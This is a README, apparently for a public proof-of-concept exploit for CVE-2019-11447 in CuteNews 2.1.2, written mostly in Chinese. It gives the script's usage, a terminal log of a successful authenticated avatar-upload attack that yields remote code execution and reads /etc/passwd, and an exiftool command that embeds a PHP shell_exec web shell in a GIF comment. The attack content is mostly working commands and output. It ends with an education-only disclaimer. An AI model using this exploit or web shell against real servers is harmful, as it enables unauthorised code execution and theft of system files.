CuteNews 2.1.2 - CVE-2019-11447 概念验证
POC 由 CRFSlick 提供,发现者 AkkuS <Özkan Mustafa Akkuş>
已在 CutePHP CuteNews 2.1.2 中发现一个问题。攻击者可通过个人资料区域的头像上传过程,利用 avatar_file 字段(指向 index.php?mod=main&opt=personal)渗入服务器。在 /core/modules/dashboard.php 中没有对 $imgsize 进行有效控制。可以更改文件头内容并绕过控制以执行代码。(攻击者可为此使用 GIF 头。)
Usage:
CVE-2019-1144.py <username> <password> <base uri / login page>
Example:
CVE-2019-1144.py admin p4ssw0rd http://192.168.1.19/CuteNews/index.php
┌──(slick㉿kali)-[~/CVE-2019-11447-POC]
└─$ python3 CVE-2019-11447.py admin p4ssw0rd http://192.168.1.19/CuteNews/index.php
-.-. --- --- .-.. .... ....- -..- --- .-. -... .- -. -. . .-.
[*] Detected version 'CuteNews 2.1.2'
[*] Grabbing session cookie
[*] Logging in as admin:p4ssw0rd
[+] Login Success!
[*] Grabbing __signature_key and __signature_dsi needed for pofile update request
[+] __signature_key: 45ad06a9fc89f75e7ef046a11079c33d-admin
[+] __signature_dsi: 71e41d6500f2dc51d0606f64539f84b1
[*] Uploading evil avatar... Done!
[*] Validating that the file was uploaded... Yup!
[+] http://192.168.1.19/CuteNews/uploads/avatar_admin_5629.php?cmd=<cmd>
[*] Looks like everything went smoothly, lets see if we have RCE!
[*] Keep in mind that this shell is limited, no STDERR
$> whoami
www-data
$> cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
...
恶意 GIF 从互联网获取,然后使用 exiftool 进行修改以插入所需的 PHP 代码。
┌──(slick㉿kali)-[~/CVE-2019-11447-POC]
└─$ exiftool -Comment='<?php echo "'"\n\ndGhpc3dlYnNoZWxsb3V0cHV0c3RhcnRzaGVyZQ==\n\n\n"'"; echo shell_exec($_GET["'"cmd"'"]); echo "'"\n\ndGhpc3dlYnNoZWxsb3V0cHV0ZW5kc2hlcmU=\n\n"'";?>' sad.gif
Exiftool 将显示图像的元数据,在其中你会找到放置在注释中的 PHP 代码。
┌──(slick㉿kali)-[~/CVE-2019-11447-POC]
└─$ exiftool sad.gif
ExifTool Version Number : 12.05
File Name : sad.gif
...
Comment : <?php echo "\n\ndGhpc3dlYnNoZWxsb3V0cHV0c3R...
本项目仅供教育目的,不得用于违法或谋取个人利益。项目作者不对因使用这些材料而造成的任何潜在损害负责。